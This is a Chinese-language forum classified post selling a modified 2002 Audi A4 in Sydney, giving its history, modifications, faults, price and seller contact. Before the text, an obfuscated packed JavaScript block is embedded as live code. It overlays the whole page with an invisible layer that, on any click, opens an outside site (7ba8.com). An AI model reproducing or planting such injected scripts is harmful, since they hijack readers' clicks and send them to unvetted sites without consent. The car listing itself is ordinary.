<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 本帖最后由 sydwalker 于 2014-3-2 07:08 编辑
02年产黑色Audi A4 2.0L 4缸12阀汽油发动机，手自一体，11W公里，完整logbook。无事故，记录可查。道奇挑战者SRT8已经定做完成，正在准备漂洋过海，预计5月到达。小4的rego到三月中，如果您需要，我可以帮您把rego续到15年3月 ，但是这笔钱您可要自己掏腰包，我只负责跑腿。
service无间断，第一任车主刚买车的时候是在4S店做的，之后都是在世界有名的欧洲车专业service公司做的。
之前在marrickville 做的 customised 哑光黑喷漆（喷漆绝对不是贴膜可以比拟的，跑出去绝对拉风），因为车的事情和老板混熟了，所以车行承诺lifetime车漆保险，从此不怕掉漆。
真皮座椅，从02年到现在，皮面的舒适程度早已到达了巅峰，懂皮的人应该都懂的。定期做皮面保养。
喷漆的时候被修车厂的人加了一箱93号油，除了这次，一直去Shell和BP加的#98油。机油用的一直是奥迪原装。
另外新加：定风翼/抬高底盘（澳洲的破路擦到底盘很心疼吧。。。。)／第二段油门（可以使车速瞬间提升，两档从空到底有3次推背感，绝对不是换挡的那种空推，百米加速从原来A4标准的10.6s提升至6s~7s）巅峰扭力由标配199提升为230、理论巅峰时速由178提升至220，比2010之前的A4L更加出色、车身加重，由原来的1.4吨提升至1.7吨。
改装后感觉标准6CD连放、10音箱环绕已不能满足本人对音质和音效的要求，又果断在尾部增加一台低音炮混响，从此出行听歌各种爽。全部改装花费1W澳币。
当然，改车是本人的爱好，这些并不会影响本车的价钱，只是想找一位有缘的爱车人士把她带走，并善待她。
上面光说她的优点了，下面来说说她的缺点。
本车的问题：变速箱虽说用的是Multitronic的CVT无段自动变速器，但是这种变速箱在引擎盖内温度过高时会出现各种问题，尤其是现在隔热棉老化后，发动机过热时起步会有明显的抖动，所以一般跑长途，都会切换为手动档来降低变速箱的压力。
排气管声音太闷，发动机燃油率明显不如新车，但在不使用第二段油门的情况下百公里控制在8个油是没有问题的。避震器老化，但不严重。
汽车烧机油（奥迪汽油车的通病），新车平均8000公里烧一箱机油，现在平均5000公里烧一箱机油。好在机油不贵，一年也用不完一桶。
车身加重之后，方向盘的操作难度增加。适合喜欢较重有安全感的车型的车主。本来就是NCAP认证的4星安全等级，重量更上一个台阶之后，安全性可想而知。
内部车门扶手和车窗控制台的漆面由于长时间的使用和在太阳下车内气温过高皮面喷漆已经开始脱落。。。。如果你想可以买原版的按键装上去或者补个漆价钱，不会太贵。
车在Hurstville，但暂时停在朋友家的地下车库，所以不方便上图，有意者可前来看车，后期补图。价格： 12000（帮买rego：13000）可小刀，不急卖，有意者联系联系方式：Fleming：0412971334（周一至周六下午4:30后可电话联系，周末全天有空，短信24小时皆可，可接收中/英文）
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